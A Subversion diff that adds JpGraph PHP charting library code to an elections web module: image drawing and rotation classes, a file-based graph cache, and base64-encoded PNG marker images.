+		$this->SetColor($color1);
+		$this->Line($xl,$y,$xr,$y);
+		++$y;
+		$this->SetColor($color2);
+		$this->Line($xl,$y,$xr,$y);
+	    }
+	}
+	else {
+	    if( $xl < $xl ) {
+		$t = $xl; $xl=$xr; $xr=$t;
+	    }
+	    for( $x=$xl; $x <= $xr; ++$x) {
+		$this->SetColor($color1);
+		$this->Line($x,$yu,$x,$yl);
+		++$x;
+		$this->SetColor($color2);
+		$this->Line($x,$yu,$x,$yl);
+	    }
+	}
+    }
+
+    function ShadowRectangle($xl,$yu,$xr,$yl,$fcolor=false,$shadow_width=3,$shadow_color=array(102,102,102)) {
+	// This is complicated by the fact that we must also handle the case where
+        // the reactangle has no fill color
+	$this->PushColor($shadow_color);
+	$this->FilledRectangle($xr-$shadow_width,$yu+$shadow_width,$xr,$yl-$shadow_width-1);
+	$this->FilledRectangle($xl+$shadow_width,$yl-$shadow_width,$xr,$yl);
+	//$this->FilledRectangle($xl+$shadow_width,$yu+$shadow_width,$xr,$yl);
+	$this->PopColor();
+	if( $fcolor==false )
+	    $this->Rectangle($xl,$yu,$xr-$shadow_width-1,$yl-$shadow_width-1);
+	else {		
+	    $this->PushColor($fcolor);
+	    $this->FilledRectangle($xl,$yu,$xr-$shadow_width-1,$yl-$shadow_width-1);
+	    $this->PopColor();
+	    $this->Rectangle($xl,$yu,$xr-$shadow_width-1,$yl-$shadow_width-1);
+	}
+    }
+
+    function FilledRoundedRectangle($xt,$yt,$xr,$yl,$r=5) {
+	if( $r==0 ) {
+	    $this->FilledRectangle($xt,$yt,$xr,$yl);
+	    return;
+	}
+
+	// To avoid overlapping fillings (which will look strange
+	// when alphablending is enabled) we have no choice but 
+	// to fill the five distinct areas one by one.
+	
+	// Center square
+	$this->FilledRectangle($xt+$r,$yt+$r,$xr-$r,$yl-$r);
+	// Top band
+	$this->FilledRectangle($xt+$r,$yt,$xr-$r,$yt+$r-1);
+	// Bottom band
+	$this->FilledRectangle($xt+$r,$yl-$r+1,$xr-$r,$yl);
+	// Left band
+	$this->FilledRectangle($xt,$yt+$r+1,$xt+$r-1,$yl-$r);
+	// Right band
+	$this->FilledRectangle($xr-$r+1,$yt+$r,$xr,$yl-$r);
+
+	// Topleft & Topright arc
+	$this->FilledArc($xt+$r,$yt+$r,$r*2,$r*2,180,270);
+	$this->FilledArc($xr-$r,$yt+$r,$r*2,$r*2,270,360);
+
+	// Bottomleft & Bottom right arc
+	$this->FilledArc($xt+$r,$yl-$r,$r*2,$r*2,90,180);
+	$this->FilledArc($xr-$r,$yl-$r,$r*2,$r*2,0,90);
+
+    }
+
+    function RoundedRectangle($xt,$yt,$xr,$yl,$r=5) {    
+
+	if( $r==0 ) {
+	    $this->Rectangle($xt,$yt,$xr,$yl);
+	    return;
+	}
+
+	// Top & Bottom line
+	$this->Line($xt+$r,$yt,$xr-$r,$yt);
+	$this->Line($xt+$r,$yl,$xr-$r,$yl);
+
+	// Left & Right line
+	$this->Line($xt,$yt+$r,$xt,$yl-$r);
+	$this->Line($xr,$yt+$r,$xr,$yl-$r);
+
+	// Topleft & Topright arc
+	$this->Arc($xt+$r,$yt+$r,$r*2,$r*2,180,270);
+	$this->Arc($xr-$r,$yt+$r,$r*2,$r*2,270,360);
+
+	// Bottomleft & Bottomright arc
+	$this->Arc($xt+$r,$yl-$r,$r*2,$r*2,90,180);
+	$this->Arc($xr-$r,$yl-$r,$r*2,$r*2,0,90);
+    }
+
+    function FilledBevel($x1,$y1,$x2,$y2,$depth=2,$color1='white@0.4',$color2='darkgray@0.4') {
+	$this->FilledRectangle($x1,$y1,$x2,$y2);
+	$this->Bevel($x1,$y1,$x2,$y2,$depth,$color1,$color2);
+    }
+
+    function Bevel($x1,$y1,$x2,$y2,$depth=2,$color1='white@0.4',$color2='black@0.5') {
+	$this->PushColor($color1);
+	for( $i=0; $i < $depth; ++$i ) {
+	    $this->Line($x1+$i,$y1+$i,$x1+$i,$y2-$i);
+	    $this->Line($x1+$i,$y1+$i,$x2-$i,$y1+$i);
+	}
+	$this->PopColor();
+	
+	$this->PushColor($color2);
+	for( $i=0; $i < $depth; ++$i ) {
+	    $this->Line($x1+$i,$y2-$i,$x2-$i,$y2-$i);
+	    $this->Line($x2-$i,$y1+$i,$x2-$i,$y2-$i-1);
+	}
+	$this->PopColor();
+    }
+
+    function StyleLineTo($x,$y) {
+	$this->StyleLine($this->lastx,$this->lasty,$x,$y);
+	$this->lastx=$x;
+	$this->lasty=$y;
+    }
+	
+    function LineTo($x,$y) {
+	$this->Line($this->lastx,$this->lasty,$x,$y);
+	$this->lastx=$x;
+	$this->lasty=$y;
+    }
+	
+    function Point($x,$y) {
+	imagesetpixel($this->img,round($x),round($y),$this->current_color);
+    }
+	
+    function Fill($x,$y) {
+	imagefill($this->img,round($x),round($y),$this->current_color);
+    }
+
+    function FillToBorder($x,$y,$aBordColor) {
+	$bc = $this->rgb->allocate($aBordColor);
+	if( $bc == -1 ) {
+	    JpGraphError::RaiseL(25106);//('Image::FillToBorder : Can not allocate more colors');
+	}
+	imagefilltoborder($this->img,round($x),round($y),$bc,$this->current_color);
+    }
+
+    function SetExpired($aFlg=true) {
+	$this->expired = $aFlg;
+    }
+	
+    // Generate image header
+    function Headers() {
+	
+	// In case we are running from the command line with the client version of
+	// PHP we can't send any headers.
+	$sapi = php_sapi_name();
+	if( $sapi == 'cli' )
+	    return;
+
+	// These parameters are set by headers_sent() but they might cause
+	// an undefined variable error unless they are initilized
+	$file='';
+	$lineno='';
+	if( headers_sent($file,$lineno) ) {
+	    $file=basename($file);	    
+	    $t = new ErrMsgText();
+	    $msg = $t->Get(10,$file,$lineno);
+	    die($msg);
+	}	
+	
+	if ($this->expired) {
+	    header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
+	    header("Last-Modified: " . gmdate("D, d M Y H:i:s") . "GMT");
+	    header("Cache-Control: no-cache, must-revalidate");
+	    header("Pragma: no-cache");
+	}
+	header("Content-type: image/$this->img_format");
+    }
+
+    // Adjust image quality for formats that allow this
+    function SetQuality($q) {
+	$this->quality = $q;
+    }
+	
+    // Stream image to browser or to file
+    function Stream($aFile="") {
+	$func="image".$this->img_format;
+	if( $this->img_format=="jpeg" && $this->quality != null ) {
+	    $res = @$func($this->img,$aFile,$this->quality);
+	}
+	else {
+	    if( $aFile != "" ) {
+		$res = @$func($this->img,$aFile);
+		if( !$res )
+		    JpGraphError::RaiseL(25107,$aFile);//("Can't write to file '$aFile'. Check that the process running PHP has enough permission.");
+	    }
+	    else {
+		$res = @$func($this->img);
+		if( !$res )
+		    JpGraphError::RaiseL(25108);//("Can't stream image. This is most likely due to a faulty PHP/GD setup. Try to recompile PHP and use the built-in GD library that comes with PHP.");
+		
+	    }
+	}
+    }
+		
+    // Clear resource tide up by image
+    function Destroy() {
+	imagedestroy($this->img);
+    }
+	
+    // Specify image format. Note depending on your installation
+    // of PHP not all formats may be supported.
+    function SetImgFormat($aFormat,$aQuality=75) {		
+	$this->quality = $aQuality;
+	$aFormat = strtolower($aFormat);
+	$tst = true;
+	$supported = imagetypes();
+	if( $aFormat=="auto" ) {
+	    if( $supported & IMG_PNG )
+		$this->img_format="png";
+	    elseif( $supported & IMG_JPG )
+		$this->img_format="jpeg";
+	    elseif( $supported & IMG_GIF )
+		$this->img_format="gif";
+	    elseif( $supported & IMG_WBMP )
+		$this->img_format="wbmp";
+	    elseif( $supported & IMG_XPM )
+		$this->img_format="xpm";
+	    else
+		JpGraphError::RaiseL(25109);//("Your PHP (and GD-lib) installation does not appear to support any known graphic formats. You need to first make sure GD is compiled as a module to PHP. If you also want to use JPEG images you must get the JPEG library. Please see the PHP docs for details.");
+				
+	    return true;
+	}
+	else {
+	    if( $aFormat=="jpeg" || $aFormat=="png" || $aFormat=="gif" ) {
+		if( $aFormat=="jpeg" && !($supported & IMG_JPG) )
+		    $tst=false;
+		elseif( $aFormat=="png" && !($supported & IMG_PNG) ) 
+		    $tst=false;
+		elseif( $aFormat=="gif" && !($supported & IMG_GIF) ) 	
+		    $tst=false;
+		elseif( $aFormat=="wbmp" && !($supported & IMG_WBMP) ) 	
+		    $tst=false;
+		elseif( $aFormat=="xpm" && !($supported & IMG_XPM) ) 	
+		    $tst=false;
+		else {
+		    $this->img_format=$aFormat;
+		    return true;
+		}
+	    }
+	    else 
+		$tst=false;
+	    if( !$tst )
+		JpGraphError::RaiseL(25110,$aFormat);//(" Your PHP installation does not support the chosen graphic format: $aFormat");
+	}
+    }	
+} // CLASS
+
+//===================================================
+// CLASS RotImage
+// Description: Exactly as Image but draws the image at
+// a specified angle around a specified rotation point.
+//===================================================
+class RotImage extends Image {
+    public $a=0;
+    public $dx=0,$dy=0,$transx=0,$transy=0; 
+    private $m=array();
+	
+    function RotImage($aWidth,$aHeight,$a=0,$aFormat=DEFAULT_GFORMAT,$aSetAutoMargin=true) {
+	$this->Image($aWidth,$aHeight,$aFormat,$aSetAutoMargin);
+	$this->dx=$this->left_margin+$this->plotwidth/2;
+	$this->dy=$this->top_margin+$this->plotheight/2;
+	$this->SetAngle($a);	
+    }
+	
+    function SetCenter($dx,$dy) {
+	$old_dx = $this->dx;
+	$old_dy = $this->dy;
+	$this->dx=$dx;
+	$this->dy=$dy;
+	$this->SetAngle($this->a);
+	return array($old_dx,$old_dy);
+    }
+	
+    function SetTranslation($dx,$dy) {
+	$old = array($this->transx,$this->transy);
+	$this->transx = $dx;
+	$this->transy = $dy;
+	return $old;
+    }
+
+    function UpdateRotMatrice()  {
+	$a = $this->a;
+	$a *= M_PI/180;
+	$sa=sin($a); $ca=cos($a);		
+	// Create the rotation matrix
+	$this->m[0][0] = $ca;
+	$this->m[0][1] = -$sa;
+	$this->m[0][2] = $this->dx*(1-$ca) + $sa*$this->dy ;
+	$this->m[1][0] = $sa;
+	$this->m[1][1] = $ca;
+	$this->m[1][2] = $this->dy*(1-$ca) - $sa*$this->dx ;
+    }
+
+    function SetAngle($a) {
+	$tmp = $this->a;
+	$this->a = $a;
+	$this->UpdateRotMatrice();
+	return $tmp;
+    }
+
+    function Circle($xc,$yc,$r) {
+	list($xc,$yc) = $this->Rotate($xc,$yc);
+	parent::Circle($xc,$yc,$r);
+    }
+
+    function FilledCircle($xc,$yc,$r) {
+	list($xc,$yc) = $this->Rotate($xc,$yc);
+	parent::FilledCircle($xc,$yc,$r);
+    }
+
+	
+    function Arc($xc,$yc,$w,$h,$s,$e) {
+	list($xc,$yc) = $this->Rotate($xc,$yc);
+	$s += $this->a;
+	$e += $this->a;
+	parent::Arc($xc,$yc,$w,$h,$s,$e);
+    }
+
+    function FilledArc($xc,$yc,$w,$h,$s,$e,$style='') {
+	list($xc,$yc) = $this->Rotate($xc,$yc);
+	$s += $this->a;
+	$e += $this->a;
+	parent::FilledArc($xc,$yc,$w,$h,$s,$e);
+    }
+
+    function SetMargin($lm,$rm,$tm,$bm) {
+	parent::SetMargin($lm,$rm,$tm,$bm);
+	$this->dx=$this->left_margin+$this->plotwidth/2;
+	$this->dy=$this->top_margin+$this->plotheight/2;
+	$this->UpdateRotMatrice();
+    }
+	
+    function Rotate($x,$y) {
+	// Optimization. Ignore rotation if Angle==0 || Angle==360
+	if( $this->a == 0 || $this->a == 360 ) {
+	    return array($x + $this->transx, $y + $this->transy );
+	}
+	else {
+	    $x1=round($this->m[0][0]*$x + $this->m[0][1]*$y,1) + $this->m[0][2] + $this->transx;
+	    $y1=round($this->m[1][0]*$x + $this->m[1][1]*$y,1) + $this->m[1][2] + $this->transy;
+	    return array($x1,$y1);
+	}
+    }
+	
+    function CopyMerge($fromImg,$toX,$toY,$fromX,$fromY,$toWidth,$toHeight,$fromWidth=-1,$fromHeight=-1,$aMix=100) {
+	list($toX,$toY) = $this->Rotate($toX,$toY);
+	parent::CopyMerge($fromImg,$toX,$toY,$fromX,$fromY,$toWidth,$toHeight,$fromWidth,$fromHeight,$aMix);
+
+    }
+
+    function ArrRotate($pnts) {
+	$n = count($pnts)-1;
+	for($i=0; $i < $n; $i+=2) {
+	    list ($x,$y) = $this->Rotate($pnts[$i],$pnts[$i+1]);
+	    $pnts[$i] = $x; $pnts[$i+1] = $y;
+	}
+	return $pnts;
+    }
+
+    function DashedLine($x1,$y1,$x2,$y2,$dash_length=1,$dash_space=4) {
+	list($x1,$y1) = $this->Rotate($x1,$y1);
+	list($x2,$y2) = $this->Rotate($x2,$y2);
+	parent::DashedLine($x1,$y1,$x2,$y2,$dash_length,$dash_space);
+    }
+	
+    function Line($x1,$y1,$x2,$y2) {
+	list($x1,$y1) = $this->Rotate($x1,$y1);
+	list($x2,$y2) = $this->Rotate($x2,$y2);
+	parent::Line($x1,$y1,$x2,$y2);
+    }
+
+    function Rectangle($x1,$y1,$x2,$y2) {
+	// Rectangle uses Line() so it will be rotated through that call
+	parent::Rectangle($x1,$y1,$x2,$y2);
+    }
+	
+    function FilledRectangle($x1,$y1,$x2,$y2) {
+	if( $y1==$y2 || $x1==$x2 )
+	    $this->Line($x1,$y1,$x2,$y2);
+	else 
+	    $this->FilledPolygon(array($x1,$y1,$x2,$y1,$x2,$y2,$x1,$y2));
+    }
+	
+    function Polygon($pnts,$closed=FALSE,$fast=FALSE) {
+	// Polygon uses Line() so it will be rotated through that call unless
+	// fast drawing routines are used in which case a rotate is needed
+	if( $fast ) {
+	    parent::Polygon($this->ArrRotate($pnts));
+	}
+	else
+	    parent::Polygon($pnts,$closed,$fast);
+    }
+	
+    function FilledPolygon($pnts) {
+	parent::FilledPolygon($this->ArrRotate($pnts));
+    }
+	
+    function Point($x,$y) {
+	list($xp,$yp) = $this->Rotate($x,$y);
+	parent::Point($xp,$yp);
+    }
+	
+    function StrokeText($x,$y,$txt,$dir=0,$paragraph_align="left",$debug=false) {
+	list($xp,$yp) = $this->Rotate($x,$y);
+	return parent::StrokeText($xp,$yp,$txt,$dir,$paragraph_align,$debug);
+    }
+}
+
+//===================================================
+// CLASS ImgStreamCache
+// Description: Handle caching of graphs to files
+//===================================================
+class ImgStreamCache {
+    private $cache_dir, $img=null, $timeout=0; 	// Infinite timeout
+    //---------------
+    // CONSTRUCTOR
+    function ImgStreamCache($aImg, $aCacheDir=CACHE_DIR) {
+	$this->img = $aImg;
+	$this->cache_dir = $aCacheDir;
+    }
+
+//---------------
+// PUBLIC METHODS	
+
+    // Specify a timeout (in minutes) for the file. If the file is older then the
+    // timeout value it will be overwritten with a newer version.
+    // If timeout is set to 0 this is the same as infinite large timeout and if
+    // timeout is set to -1 this is the same as infinite small timeout
+    function SetTimeout($aTimeout) {
+	$this->timeout=$aTimeout;	
+    }
+	
+    // Output image to browser and also write it to the cache
+    function PutAndStream($aImage,$aCacheFileName,$aInline,$aStrokeFileName) {
+	// Some debugging code to brand the image with numbe of colors
+	// used
+	GLOBAL $gJpgBrandTiming;
+
+	if( $gJpgBrandTiming ) {
+	    global $tim;
+	    $t=$tim->Pop()/1000.0;
+	    $c=$aImage->SetColor("black");
+	    $t=sprintf(BRAND_TIME_FORMAT,round($t,3));
+	    imagestring($this->img->img,2,5,$this->img->height-20,$t,$c);			
+	}
+
+	// Check if we should stroke the image to an arbitrary file
+	if( _FORCE_IMGTOFILE ) {
+	    $aStrokeFileName = _FORCE_IMGDIR.GenImgName();
+	}
+
+	if( $aStrokeFileName!="" ) {
+	    if( $aStrokeFileName == "auto" )
+		$aStrokeFileName = GenImgName();
+	    if( file_exists($aStrokeFileName) ) {
+		// Delete the old file
+		if( !@unlink($aStrokeFileName) )
+		    JpGraphError::RaiseL(25111,$aStrokeFileName);//(" Can't delete cached image $aStrokeFileName. Permission problem?");
+	    }
+	    $aImage->Stream($aStrokeFileName);
+	    return;
+	}
+
+	if( $aCacheFileName != "" && USE_CACHE) {
+
+	    $aCacheFileName = $this->cache_dir . $aCacheFileName;
+	    if( file_exists($aCacheFileName) ) {
+		if( !$aInline ) {
+		    // If we are generating image off-line (just writing to the cache)
+		    // and the file exists and is still valid (no timeout)
+		    // then do nothing, just return.
+		    $diff=time()-filemtime($aCacheFileName);
+		    if( $diff < 0 )
+			JpGraphError::RaiseL(25112,$aCacheFileName);//(" Cached imagefile ($aCacheFileName) has file date in the future!!");
+		    if( $this->timeout>0 && ($diff <= $this->timeout*60) ) 
+			return;		
+		}			
+		if( !@unlink($aCacheFileName) )
+		    JpGraphError::RaiseL(25113,$aStrokeFileName);//(" Can't delete cached image $aStrokeFileName. Permission problem?");
+		$aImage->Stream($aCacheFileName);	
+	    }
+	    else {
+		$this->MakeDirs(dirname($aCacheFileName));
+		if( !is_writeable(dirname($aCacheFileName)) ) {
+		    JpGraphError::RaiseL(25114,$aCacheFileName);//('PHP has not enough permissions to write to the cache file '.$aCacheFileName.'. Please make sure that the user running PHP has write permission for this file if you wan to use the cache system with JpGraph.');
+		}
+		$aImage->Stream($aCacheFileName);
+	    }
+			
+	    $res=true;
+	    // Set group to specified
+	    if( CACHE_FILE_GROUP != "" )
+		$res = @chgrp($aCacheFileName,CACHE_FILE_GROUP);
+	    if( CACHE_FILE_MOD != "" )
+		$res = @chmod($aCacheFileName,CACHE_FILE_MOD);
+	    if( !$res )
+		JpGraphError::RaiseL(25115,$aStrokeFileName);//(" Can't set permission for cached image $aStrokeFileName. Permission problem?");
+			
+	    $aImage->Destroy();
+	    if( $aInline ) {
+		if ($fh = @fopen($aCacheFileName, "rb") ) {
+		    $this->img->Headers();
+		    fpassthru($fh);
+		    return;
+		}
+		else
+		    JpGraphError::RaiseL(25116,$aFile);//(" Cant open file from cache [$aFile]"); 
+	    }
+	}
+	elseif( $aInline ) {
+	    $this->img->Headers();	 		
+	    $aImage->Stream();	
+	    return;
+	}
+    }
+	
+    // Check if a given image is in cache and in that case
+    // pass it directly on to web browser. Return false if the
+    // image file doesn't exist or exists but is to old
+    function GetAndStream($aCacheFileName) {
+	$aCacheFileName = $this->cache_dir.$aCacheFileName;		 
+	if ( USE_CACHE && file_exists($aCacheFileName) && $this->timeout>=0 ) {
+	    $diff=time()-filemtime($aCacheFileName);
+	    if( $this->timeout>0 && ($diff > $this->timeout*60) ) {
+		return false;		
+	    }
+	    else {
+		if ($fh = @fopen($aCacheFileName, "rb")) {
+		    $this->img->Headers();
+		    fpassthru($fh);
+		    return true;
+		}
+		else
+		    JpGraphError::RaiseL(25117,$aCacheFileName);//(" Can't open cached image \"$aCacheFileName\" for reading.");
+	    }
+	} 
+	return false;
+    }
+	
+    //---------------
+    // PRIVATE METHODS	
+    // Create all necessary directories in a path
+    function MakeDirs($aFile) {
+	$dirs = array();
+	while ( !(file_exists($aFile)) ) {
+	    $dirs[] = $aFile;
+	    $aFile = dirname($aFile);
+	}
+	for ($i = sizeof($dirs)-1; $i>=0; $i--) {
+	    if(! @mkdir($dirs[$i],0777) )
+		JpGraphError::RaiseL(25118,$aFile);//(" Can't create directory $aFile. Make sure PHP has write permission to this directory.");
+	    // We also specify mode here after we have changed group. 
+	    // This is necessary if Apache user doesn't belong the
+	    // default group and hence can't specify group permission
+	    // in the previous mkdir() call
+	    if( CACHE_FILE_GROUP != "" ) {
+		$res=true;
+		$res =@chgrp($dirs[$i],CACHE_FILE_GROUP);
+		$res = @chmod($dirs[$i],0777);
+		if( !$res )
+		    JpGraphError::RaiseL(25119,$aFile);//(" Can't set permissions for $aFile. Permission problems?");
+	    }
+	}
+	return true;
+    }	
+} // CLASS Cache
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/imgdata_balls.inc.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/imgdata_balls.inc.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/imgdata_balls.inc.php	(revision 44)
@@ -0,0 +1,1061 @@
+<?php
+//=======================================================================
+// File:	IMGDATA_ROUNDBALLS.INC
+// Description:	Base64 encoded images for small round markers
+// Created: 	2003-03-20
+// Ver:		$Id: imgdata_balls.inc.php 860 2007-03-23 19:16:19Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+class ImgData_Balls extends ImgData {
+    protected $name = 'Round Balls';
+    protected $an = array(MARK_IMG_LBALL => 'imgdata_large',
+		    MARK_IMG_MBALL => 'imgdata_small',
+		    MARK_IMG_SBALL => 'imgdata_xsmall',
+		    MARK_IMG_BALL => 'imgdata_xsmall');
+    protected $colors,$index,$maxidx;
+    private $colors_1 = array('blue','lightblue','brown','darkgreen',
+			      'green','purple','red','gray','yellow','silver','gray');
+    private $index_1  = array('blue'=>9,'lightblue'=>1,'brown'=>6,'darkgreen'=>7,
+			      'green'=>8,'purple'=>4,'red'=>0,'gray'=>5,'silver'=>3,'yellow'=>2);
+    private $maxidx_1 = 9 ;
+
+    private $colors_2 = array('blue','bluegreen','brown','cyan',
+			  'darkgray','greengray','gray','green',
+			  'greenblue','lightblue','lightred',
+			  'purple','red','white','yellow');
+			  
+	
+    private $index_2 =  array('blue'=>9,'bluegreen'=>13,'brown'=>8,'cyan'=>12,
+			  'darkgray'=>5,'greengray'=>6,'gray'=>2,'green'=>10,
+			  'greenblue'=>3,'lightblue'=>1,'lightred'=>14,
+			  'purple'=>7,'red'=>0,'white'=>11,'yellow'=>4);
+			
+    private $maxidx_2 = 14 ;
+
+
+    private $colors_3 = array('bluegreen','cyan','darkgray','greengray',
+			  'gray','graypurple','green','greenblue','lightblue',
+			  'lightred','navy','orange','purple','red','yellow');
+	
+    private $index_3 = array('bluegreen'=>1,'cyan'=>11,'darkgray'=>14,'greengray'=>10,
+			 'gray'=>3,'graypurple'=>4,'green'=>9,'greenblue'=>7,
+			 'lightblue'=>13,'lightred'=>0,'navy'=>2,'orange'=>12,
+			 'purple'=>8,'red'=>5,'yellow'=>6);
+    private $maxidx_3 = 14 ;
+
+    protected $imgdata_large, $imgdata_small, $imgdata_xsmall ;
+
+
+    function GetImg($aMark,$aIdx) {
+	switch( $aMark ) {
+	    case MARK_IMG_SBALL:
+	    case MARK_IMG_BALL:
+		$this->colors = $this->colors_3;
+		$this->index = $this->index_3 ;
+		$this->maxidx = $this->maxidx_3 ;
+		break;
+	    case MARK_IMG_MBALL:
+		$this->colors = $this->colors_2;
+		$this->index = $this->index_2 ;
+		$this->maxidx = $this->maxidx_2 ;
+		break;
+	    default:
+		$this->colors = $this->colors_1;
+		$this->index = $this->index_1 ;
+		$this->maxidx = $this->maxidx_1 ;
+		break;
+	}
+	return parent::GetImg($aMark,$aIdx);
+    }
+
+    function ImgData_Balls() {
+
+//==========================================================
+// File: bl_red.png
+//==========================================================
+	$this->imgdata_large[0][0]= 1072 ;
+	$this->imgdata_large[0][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABoAAAAaCAMAAACelLz8AAAByF'.
+	    'BMVEX/////////xsb/vb3/lIz/hIT/e3v/c3P/c2v/a2v/Y2P/'.
+	    'UlL/Skr/SkL/Qjn/MTH/MSn/KSn/ISH/IRj/GBj/GBD/EBD/EA'.
+	    'j/CAj/CAD/AAD3QkL3MTH3KSn3KSH3GBj3EBD3CAj3AAD1zMzv'.
+	    'QkLvISHvIRjvGBjvEBDvEAjvAADnUlLnSkrnMTnnKSnnIRjnGB'.
+	    'DnEBDnCAjnAADec3PeSkreISHeGBjeGBDeEAjWhITWa2vWUlLW'.
+	    'SkrWISnWGBjWEBDWEAjWCAjWAADOnp7Oa2vOGCHOGBjOGBDOEB'.
+	    'DOCAjOAADJrq7Gt7fGGBjGEBDGCAjGAADEpKS/v7+9QkK9GBC9'.
+	    'EBC9CAi9AAC1e3u1a2u1Skq1KSm1EBC1CAi1AACtEBCtCBCtCA'.
+	    'itAACngYGlCAilAACghIScOTmcCAicAACYgYGUGAiUCAiUAAiU'.
+	    'AACMKSmMEACMAACEa2uEGAiEAAB7GBh7CAB7AABzOTlzGBBzCA'.
+	    'BzAABrSkprOTlrGBhrAABjOTljAABaQkJaOTlaCABaAABSKSlS'.
+	    'GBhSAABKKSlKGBhKAABCGBhCCABCAAA5CAA5AAAxCAAxAAApCA'.
+	    'ApAAAhAAAYAACc9eRyAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgF'.
+	    'HUgAAAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElNRQfTAwkRFD'.
+	    'UHLytKAAAB4UlEQVR4nGNgIAK4mGjrmNq6BmFIWMmISUpKSmk5'.
+	    'B8ZEokj4qoiLiQCBgqald3xaBpKMj6y4sLCQkJCIvIaFV0RaUR'.
+	    'lCSk5cWEiAn19ASN7QwisuraihHiajKyEixM/NwckjoKrvEACU'.
+	    'qumpg7pAUlREiJdNmZmLT9/cMzwps7Smc3I2WEpGUkxYkJuFiY'.
+	    'lTxszePzY1v7Shc2oX2D+K4iLCgjzsrOw8embuYUmZeTVtPVOn'.
+	    'gqSslYAOF+Ln4ZHWtXMPTcjMrWno7J82rRgoZWOsqaCgrqaqqm'.
+	    'fn5peQmlsK1DR52vRaoFSIs5GRoYG5ub27n19CYm5pdVPnxKnT'.
+	    'pjWDpLydnZwcHTz8QxMSEnJLgDL9U6dNnQ6Sio4PDAgICA+PTU'.
+	    'zNzSkph8hADIxKS46Pj0tKTc3MLSksqWrtmQySAjuDIT8rKy0r'.
+	    'Kz+vtLSmur6jb9JUIJgGdjxDQUVRUVFpaUVNQ1NrZ9+kKVOmTZ'.
+	    'k6vR0sldJUAwQNTU2dnX0TgOJTQLrSIYFY2dPW1NbW2TNxwtQp'.
+	    'U6ZMmjJt2rRGWNB3TO7vnzh5MsgSoB6gy7sREdY7bRrQEDAGOb'.
+	    'wXOQW0TJsOEpwClmxBTTbZ7UDVIPkp7dkYaYqhuLa5trYYUxwL'.
+	    'AADzm6uekAAcXAAAAABJRU5ErkJggg==' ; 
+
+//==========================================================
+// File: bl_bluegreen.png
+//==========================================================
+	$this->imgdata_large[1][0]= 1368 ;
+	$this->imgdata_large[1][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABoAAAAaCAYAAACpSkzOAAAABm'.
+	    'JLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsRAAALEQF/ZF+RAAAA'.
+	    'B3RJTUUH0wMMFi8hE9b2uAAABOVJREFUeNq9lk2sJFUVx3+3qv'.
+	    'tW95t57zFvhiFxmCFRUJRoNCQiJARMhiFx/Igxii5goTG6ZDAu'.
+	    '/EhcSCIrTAgLEiKsJ8ywABNZEMJXEDYCukAmjgjzBkK/j35V1d'.
+	    '333FtV97io97pfzwxfG86qcu/N+Z3zP+fcW/Apmfk4hx57+R/6'.
+	    'Rqmc9ykhsWjlsUngAA1fXIQ7b73pI/186IGHnn9dH/8frC8v4I'.
+	    'PiG53uaerR4GmKkv31mB8cyfjd946ZTwR66qVX9OTWIi8UKUv9'.
+	    'BOrZXpYZvFeiBvzI0fgSUSFKwbVG+Pl1V3HH0VvNR4KeeukV/f'.
+	    'PmMmdHhst76aXD64AbeVQ9bjNHaiGOC2o3wLrAb2/4LL/84ffn'.
+	    'fCdzkOdayKpLppBemrBsU5Y1Zdmm9LJdGU6E/t4M24Q26jRDRL'.
+	    'j3mdc49cSTekFsMzs5XuTsyLDUNSDQ25NwKOly9YIl22MYhJr/'.
+	    'uoDtBBoT0CxBRGYOAhibIaOCe//2MpfM6KHnX9cXipSlbkKWmS'.
+	    'nk9iv38J0jixw7vJfrTMYBOvhSoQHJBS09ANELloAGDxW8tfoW'.
+	    'J+5/UC8CPS0LU7r3SpYarr7M8rmFjMPLXT6/33L4si7Z2GCrQC'.
+	    '+0ctlOaNs9DReV8vSLr85ndPLpZ/WNvHW+01kAVFBOGvJx0wYg'.
+	    'Sp47RIQ4Emwa8FGJXlDxSCFo5YlVgAo2hwPue/hRndboTV3EW2'.
+	    'Wp3k6wBp8q56QiWzecW6vwQfnPRkAWhFgILnq08jQ+R2nlUzzN'.
+	    'uES9Q7Vd+9fba7NmWJW61db2247qACmcjxXr45psYphsFGSLBu'.
+	    'kIajxqtjNwHkvAjQt0sg3crhPA2+fPz0CuyNFOghsGsr19mnFg'.
+	    'DGwrRm8UoAtNmQPQtRXDgdC4HImCFEKcCE0oieUWUYq2LtbiGp'.
+	    'mBQmppfIkjw45DK0QNNkvQ0jMBtPL0UnDRM1rN+cxKwzvOo2NP'.
+	    'tykR9a1kfpZNDLMG6QDYJqCTBvUe1+uxs+YKyPoGrTwY2HhvC4'.
+	    'CDWQd5d4xNApNQEEMgjgLdUCLBQ5cprL/trwNwKG2IUmDqDFd5'.
+	    'sr5BWrlxuSdLDFEFlqAzXGc4zFjupqh6uqYihpxJcEgp026l2w'.
+	    '7wFUv7Z6AvrfRo/n0OYzPwIKE3HUKAJg2otMBiElnsF7wngis9'.
+	    '3ZDjNnLi7huCWUZfueZKTu/M0V3HvmkOFDVxVKDG04ScejSgW5'.
+	    'V0q5JYFEghuDLHlTmToqDeGOCKIVtrW9hsdmXufEcNLPSXuPHa'.
+	    'a+bvuh9df5AH/v5PDFmbWQC3Mx+TVvfGVTRB2CodNgT2JBX003'.
+	    'aANZAYS/BxCv32TV/l2C03G7jgmfjGiT/qmeEmibEYm7XzAO2k'.
+	    'A+pbgHhBgydqu54YO5eRiLCy7yDvPP6Xqf+5Z+Lu277OYuOpiw'.
+	    'H15oBmlNOMcmK5RbP+PrEscGU+DSAxdg4CICIkxnLP8aNz63Og'.
+	    'H3/rdvOb795GVhuaYo0oBc3GGrEsUPVTwO6a7LYd+X51x3Hu/t'.
+	    'lP5tS65FN+6okn9U+n/sqb596dTvhOF+02myXTmkQNrOw7yD3H'.
+	    'j14E+UDQjp24/0E9/eKrbA4HH3aMK1b2ccvXvswjv//1J/s5ud'.
+	    'Due/hRPfP+OmfOrk7vrn7a48ihA3zh8CH+8Iuffiw/n4r9H1ZZ'.
